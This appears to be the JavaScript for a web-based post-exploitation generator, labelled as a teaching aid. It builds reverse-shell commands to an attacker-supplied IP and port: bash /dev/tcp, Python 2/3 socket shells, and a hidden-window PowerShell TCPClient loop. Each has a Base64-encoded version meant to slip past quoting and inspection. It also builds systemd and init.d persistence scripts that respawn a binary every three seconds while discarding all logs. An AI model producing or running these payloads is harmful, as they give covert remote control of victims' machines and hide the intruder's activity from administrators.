/* persist.js —— 辅助维权(教学辅助)生成逻辑 * 1) 反弹 Shell:按 Linux / Windows 目标机生成三组语句,每组「上为原句、下为 Base64 编码可执行版本」: * #1 普通反弹(bash / PowerShell) * #2 Python 2 反弹 * #3 Python 3 反弹 * 2) Linux 自启服务:按执行文件绝对路径生成 systemd unit 或 SysV init.d 脚本, * 均不落盘日志(stdout/stderr → null)且崩溃 3 秒后自动重启。 * Windows 辅助区文本框为只读,高度随内容自适应、不可手动拉伸。 * 仅教学辅助;默认示例为占位演示值。 */ (function () { 'use strict'; function $(id) { return document.getElementById(id); } /* ---------- 工具函数 ---------- */ function esc(s) { return String(s).replace(/&/g, '&').replace(//g, '>').replace(/"/g, '"'); } function basename(p) { p = String(p || '').replace(/\\/g, '/').replace(/\/+$/, ''); var i = p.lastIndexOf('/'); return i >= 0 ? p.slice(i + 1) : p; } function segValue(seg) { var b = seg.querySelector('button.active'); return b ? b.getAttribute(b.hasAttribute('data-mode') ? 'data-mode' : 'data-plat') : ''; } function bindSeg(seg, onChange) { var btns = seg.querySelectorAll('button'); for (var i = 0; i < btns.length; i++) { btns[i].addEventListener('click', function () { for (var j = 0; j < btns.length; j++) btns[j].classList.remove('active'); this.classList.add('active'); if (onChange) onChange(); }); } } function setMsg(id, html, isErr) { var box = $(id); box.innerHTML = html ? '
' + html + '
' : ''; } function b64Ascii(text) { // ASCII → Base64(命令本身均为 ASCII) var bin = ''; for (var i = 0; i < text.length; i++) bin += String.fromCharCode(text.charCodeAt(i)); return btoa(bin); } function b64Utf16LE(text) { // UTF-16LE → Base64(PowerShell -enc 需要) var bytes = []; for (var i = 0; i < text.length; i++) { var c = text.charCodeAt(i); bytes.push(c & 255, c >> 8); } var bin = ''; for (var j = 0; j < bytes.length; j++) bin += String.fromCharCode(bytes[j]); return btoa(bin); } function validIp(ip) { ip = String(ip || '').trim(); if (!/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/.test(ip)) return false; var o = ip.split('.'); for (var i = 0; i < 4; i++) { if (+o[i] > 255) return false; } return true; } function validPort(p) { p = String(p || '').trim(); return /^\d{1,5}$/.test(p) && +p >= 1 && +p <= 65535; } /* 文本框高度自适应内容(.auto-ta 禁止手动拉伸) */ function fitAuto() { var els = document.querySelectorAll('.auto-ta'); for (var i = 0; i < els.length; i++) { els[i].style.height = 'auto'; els[i].style.height = (els[i].scrollHeight + 2) + 'px'; } } /* ---------- 反弹 Shell 生成(a=普通 b=py2 c=py3,各带 64 编码版) ---------- */ function buildLinux(ip, port) { var bash = 'bash -i >& /dev/tcp/' + ip + '/' + port + ' 0>&1'; var py2 = 'python2 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);' + 's.connect(("' + ip + '",' + port + '));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);' + 'subprocess.call(["/bin/sh","-i"])\''; var py3 = py2.replace('python2', 'python3'); return { titles: { a: '#1 普通反弹(bash · 现代发行版自带)', b: '#2 Python 2 反弹(python2 · 老版本系统自带)', c: '#3 Python 3 反弹(python3 · 现代发行版自带)' }, notes: { a: '▼ 下方为 Base64 编码版(还原:echo 上方值 | base64 -d | bash)', b: '▼ 下方为 Base64 编码版(还原:echo 上方值 | base64 -d | python2)', c: '▼ 下方为 Base64 编码版(还原:echo 上方值 | base64 -d | python3)' }, a: bash, a64: 'echo ' + b64Ascii(bash) + ' | base64 -d | bash', b: py2, b64: 'echo ' + b64Ascii(py2) + ' | base64 -d | python2', c: py3, c64: 'echo ' + b64Ascii(py3) + ' | base64 -d | python3' }; } function buildWin(ip, port) { var ps = '$c=New-Object System.Net.Sockets.TCPClient(\'' + ip + '\',' + port + ');' + '$s=$c.GetStream();[byte[]]$b=0..65535|%{0};' + 'while(($i=$s.Read($b,0,$b.Length)) -ne 0){' + '$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);' + '$r=(iex $d 2>&1|Out-String);' + '$s2=([text.encoding]::ASCII).GetBytes($r+\'PS \'+(pwd).Path+\'> \');' + '$s.Write($s2,0,$s2.Length);$s.Flush()};$c.Close()'; // Python 载荷:代码内部全部使用单引号字符串,便于外层用双引号包裹 function pyCode(sh) { return 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);' + 's.connect((\'' + ip + '\',' + port + '));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);' + 'subprocess.call([\'' + sh + '\'])'; } var code2 = pyCode('cmd.exe'); var code3 = pyCode('cmd.exe'); var orig2 = 'python2 -c "' + code2 + '"'; var orig3 = 'python3 -c "' + code3 + '"'; return { titles: { a: '#1 PowerShell 反弹(Windows 内置,无需额外组件)', b: '#2 Python 2 反弹(需目标机已装 python2)', c: '#3 Python 3 反弹(需目标机已装 python3)' }, notes: { a: '▼ 下方为 Base64 编码版(PowerShell -enc,规避引号与特殊字符)', b: '▼ 下方为 Base64 编码版(python2 -c 内置 base64 解码执行)', c: '▼ 下方为 Base64 编码版(python3 -c 内置 base64 解码执行)' }, a: 'powershell -nop -w hidden -c "' + ps + '"', a64: 'powershell -nop -w hidden -enc ' + b64Utf16LE(ps), b: orig2, b64: 'python2 -c "import base64;exec(base64.b64decode(\'' + b64Ascii(code2) + '\'))"', c: orig3, c64: 'python3 -c "import base64;exec(base64.b64decode(\'' + b64Ascii(code3) + '\'))"' }; } function renderRev() { var ip = $('revIp').value.trim(); var port = $('revPort').value.trim(); if (!validIp(ip)) { setMsg('revMsg', '请填写正确的监听 IPv4 地址。', true); return; } if (!validPort(port)) { setMsg('revMsg', '请填写 1-65535 的有效端口。', true); return; } var g = segValue($('revPlat')) === 'win' ? buildWin(ip, port) : buildLinux(ip, port); $('revA').value = g.a; $('revA64').value = g.a64; $('revB').value = g.b; $('revB64').value = g.b64; $('revC').value = g.c; $('revC64').value = g.c64; $('revTA').textContent = g.titles.a; $('revTB').textContent = g.titles.b; $('revTC').textContent = g.titles.c; $('revAN').textContent = g.notes.a; $('revBN').textContent = g.notes.b; $('revCN').textContent = g.notes.c; setMsg('revMsg', '', false); fitAuto(); } /* ---------- Linux 自启服务生成 ---------- */ function svcName() { var n = $('lxName').value.trim(); if (n) return n; return basename($('lxPath').value) || 'agent'; } function systemdUnit(path, name) { return '[Unit]\n' + 'Description=' + name + ' service\n' + 'After=network.target\n' + '\n' + '[Service]\n' + 'Type=simple\n' + 'ExecStart=' + path + '\n' + 'Restart=always\n' + 'RestartSec=3\n' + 'StandardOutput=null\n' + 'StandardError=null\n' + '\n' + '[Install]\n' + 'WantedBy=multi-user.target\n'; } function initdScript(path, name) { return '#!/bin/sh\n' + '### BEGIN INIT INFO\n' + '# Provides: ' + name + '\n' + '# Required-Start: $remote_fs\n' + '# Required-Stop: $remote_fs\n' + '# Default-Start: 2 3 4 5\n' + '# Default-Stop: 0 1 6\n' + '# Short-Description: ' + name + '\n' + '### END INIT INFO\n' + '\n' + 'DAEMON="' + path + '"\n' + 'NAME="' + name + '"\n' + 'PIDFILE="/var/run/' + name + '.pid"\n' + '\n' + 'case "$1" in\n' + ' start)\n' + ' echo "Starting $NAME..."\n' + ' (while :; do "$DAEMON"; sleep 3; done) >/dev/null 2>&1 &\n' + ' echo $! > "$PIDFILE"\n' + ' ;;\n' + ' stop)\n' + ' echo "Stopping $NAME..."\n' + ' if [ -f "$PIDFILE" ]; then\n' + ' KPID=$(cat "$PIDFILE")\n' + ' pkill -P "$KPID" 2>/dev/null\n' + ' kill "$KPID" 2>/dev/null\n' + ' rm -f "$PIDFILE"\n' + ' fi\n' + ' ;;\n' + ' restart)\n' + ' "$0" stop\n' + ' sleep 1\n' + ' "$0" start\n' + ' ;;\n' + ' *)\n' + ' echo "Usage: $0 {start|stop|restart}"\n' + ' exit 1\n' + ' ;;\n' + 'esac\n' + 'exit 0\n'; } function renderService() { var path = $('lxPath').value.trim(); var name = svcName(); var mode = segValue($('lxMode')) === 'initd' ? 'initd' : 'systemd'; var out = $('lxOut'), tips = $('lxTips'); if (!path) { out.value = ''; tips.textContent = '请先填写执行文件绝对路径。'; return; } if (mode === 'systemd') { out.value = systemdUnit(path, name); tips.innerHTML = '安装:将上方内容写入 /etc/systemd/system/' + esc(name) + '.service(需 root),然后执行:
' + 'systemctl daemon-reload && systemctl enable --now ' + esc(name) + '
' + '说明:Restart=always 崩溃自动拉起;StandardOutput/StandardError=null 不产生、不落盘日志。'; } else { out.value = initdScript(path, name); tips.innerHTML = '安装:将上方脚本写入 /etc/init.d/' + esc(name) + ' 并赋予执行权限:
' + 'chmod +x /etc/init.d/' + esc(name) + '
' + 'Debian/Ubuntu(低版本)注册开机自启:update-rc.d ' + esc(name) + ' defaults
' + 'CentOS/RHEL 旧版注册开机自启:chkconfig --add ' + esc(name) + '
' + '启动服务:service ' + esc(name) + ' start(脚本内含崩溃后 3 秒自动拉起的看护循环)。'; } } function downloadService() { var text = $('lxOut').value; if (!text) return; var name = svcName(); var mode = segValue($('lxMode')) === 'initd' ? 'initd' : 'systemd'; var fn = mode === 'systemd' ? name + '.service' : name; var blob = new Blob(['\ufeff' + text], { type: 'text/plain;charset=utf-8' }); var url = URL.createObjectURL(blob); var a = document.createElement('a'); a.href = url; a.download = fn; document.body.appendChild(a); a.click(); document.body.removeChild(a); setTimeout(function () { URL.revokeObjectURL(url); }, 1500); } /* ---------- 事件绑定 ---------- */ bindSeg($('revPlat'), renderRev); bindSeg($('lxMode'), renderService); $('revGo').addEventListener('click', renderRev); $('revPort').addEventListener('keydown', function (ev) { if (ev.key === 'Enter') renderRev(); }); $('lxPath').addEventListener('input', renderService); $('lxName').addEventListener('input', renderService); $('lxGo').addEventListener('click', renderService); $('lxDown').addEventListener('click', downloadService); /* 页面载入即展示默认示例(演示占位值)并自适应文本框高度 */ renderRev(); renderService(); fitAuto(); // 窗口宽度变化导致换行变化时重新自适应 var rszT = null; window.addEventListener('resize', function () { if (rszT) clearTimeout(rszT); rszT = setTimeout(fitAuto, 150); }); })();